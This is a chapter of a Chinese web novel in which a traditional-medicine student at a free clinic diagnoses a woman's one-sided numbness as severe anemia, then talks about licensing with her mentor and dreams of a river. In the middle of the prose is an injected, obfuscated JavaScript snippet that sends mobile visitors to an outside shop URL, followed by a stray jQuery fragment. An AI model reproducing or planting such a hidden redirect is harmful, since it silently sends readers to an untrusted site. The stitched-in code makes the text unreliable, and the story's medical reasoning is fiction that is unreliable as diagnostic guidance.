一月的最后一周，沈渡在义诊时遇到一个让她心里发紧的患者。是个三十出头的女人，瘦得像一张纸，颧骨高高地凸出来，眼窝深陷，嘴唇干裂起皮。她自己走进来的，但走路的样子不对，左脚拖在地上，脚尖蹭着地砖，像拖着一条没有知觉的腿。她的右手里握着一根拐杖，铝合金的，很轻便。
“你哪里不舒服？”沈渡问。女人在椅子上坐下来，把拐杖靠在桌边，伸出左手放到脉枕上。那双手很瘦，骨节分明，指甲苍白，没有血色。“我左边身子麻了三个月了。从头皮到脚底，麻的。去医院看了，做了脑CT，医生说是腔隙性脑梗，开了药，吃了没好。”
沈渡把手指搭上去。脉沉，细，涩。沉在里，细为虚，涩为瘀。她把了左手又换右手，右手也是沉细涩。换了一个姿势，把手指按在左手的尺脉上，往下压到骨面，又从骨面往上慢慢提。她的手指在空气中划着无形的线。
“你的CT片子带了吗？”女人从包里掏出一个塑料袋，里面装着几张胶片和一张报告单。沈渡接过来，对着光看。脑CT，平扫。左侧基底节区有一个很小的低密度灶，边界模糊。不是腔梗，是更小的缺血灶。腔梗是小血管堵了，缺血灶是微循环障碍。不是一回事。
“你以前有没有过高血压？”女人想了想。“没有。我以前身体挺好的，从来没有生过大病。”沈渡抬起头看着她，看着她的脸。很白，不是白净的白，是缺血的白。嘴唇发绀，指甲苍白，眼睑结膜也是白的。她的氧气不够，全身都不够。
“你做过血常规吗？”女人从塑料袋里翻出一张化验单，递给沈渡。血红蛋白六克八。不是轻度贫血，是重度。难怪她的脉细，血不够，脉就细。难怪她左边身子麻，不是脑梗，是贫血引起的神经症状。血不够，神经就会缺血，缺血就会麻。
沈渡把化验单放在桌上，用圆珠笔在空白处写了一行字——“疑似缺铁性贫血，建议进一步查铁代谢、骨髓铁染色。”她把单子推回到女人面前。
“你的问题不是脑子的问题，是血的问题。你的血不够，你的大脑、神经、肌肉都缺血。血供上了，你的腿就不麻了。”
女人看着她，眼眶红了一圈。“可是我去看了那么多医生，没有人跟我说是血的问题。”
“他们看了你的CT，以为是脑梗。脑梗和贫血的治疗方向不一样。脑梗要通血管，贫血要补血。方向错了，药就不对。药不对，病就不会好。”
女人把眼泪忍回去了。她站起来，拿起那根铝合金拐杖，走到门口又回头。“你叫什么名字？”“沈渡。”“沈渡，谢谢你。不管我是什么病，谢谢你。”沈渡没有说“不用谢”，她只是点了点头，目送那个女人拖着左腿走出去。
冬日的阳光正好，照在活动中心的地板上，把女人的影子拉得很长。沈渡站在那里，看着那个影子一点一点地移出门口，移下台阶，移到阳光里。她的左腿拖着，但她的影子里看不出来。影子是完整的。
晚上沈渡打电话给贺老，说了这个女人的事。贺老听完之后沉默了一阵。“你做得对。CT不会骗人，但人会。不是医生故意骗你，是他们的经验告诉他们——脑梗常见，贫血引起的神经症状少见。少见不是没有，见到了，就是你的本事。”沈渡把手机换到左手，右手摩挲着窗台上那片新出的叶子。不是断藤的那盆，是老盆的绿萝。老盆的绿萝又长了一片新叶子，嫩绿色的，卷着，像一个还没睡醒的婴儿。
“贺老，我什么时候能考执照？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621443|206186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“你现在就可以准备。你是财务专业，不是医学专业，需要先考一个中医师承，或者确有专长。考过了，才能考助理医师，再考执业医师。路很长，慢慢走，走得稳比走得快重要。”
沈渡挂了电话，坐在书桌前。她从抽屉里翻出那本《濒湖脉学》，翻开第一页。“浮脉，举之有余，按之不足。”她曾经用了很多个夜晚才背下来，每一个字都是她用手指在黑暗中摸出来的。现在不需要背了，它就在她脑子里，永远不走了。
两盆绿萝并排在窗台上，一盆藤长叶茂，一盆光杆秃枝。沈渡每天给它们浇水，不多不少，刚好够湿透土面。老盆的那盆长得很好，新发的叶子一片接一片，绿得发亮。断藤的那盆还是老样子，没有新叶，也没有死。沈渡有时候会对它说话，不是念出声，是在心里：“你在长根，对吗？长好了根，再长叶子。不急。”
那天晚上，沈渡做了一个梦。梦里她站在一条河边，河水很浅，河床上的石头露在水面上。她赤着脚，踩在那些石头上过河。石头很滑，她每一步都很小心。走到河中间的时候，她看到对岸站着一个人。看不清脸，只看到那个人穿着一件深蓝色的衣服，朝她伸着手。她想要抓住那只手，但她的脚底打滑了，整个人往前扑，扑进了水里。水不深，只到她膝盖。她站起来，发现那个人不见了。对岸空空的，只有一棵树，叶子是金色的。
沈渡醒了，躺在床上，心跳很快。窗外天还没亮，月亮还挂在西边的天上。她闭上眼睛，那个梦还在她脑子里，河、石头、金色的树、那只没有握住的手。不知道那只手是谁的，贺老、陈媛、徐敏、裴衍，还是那个声音？她不知道，但那只手伸在那里，她没有握住。不是因为不想，是因为没够到。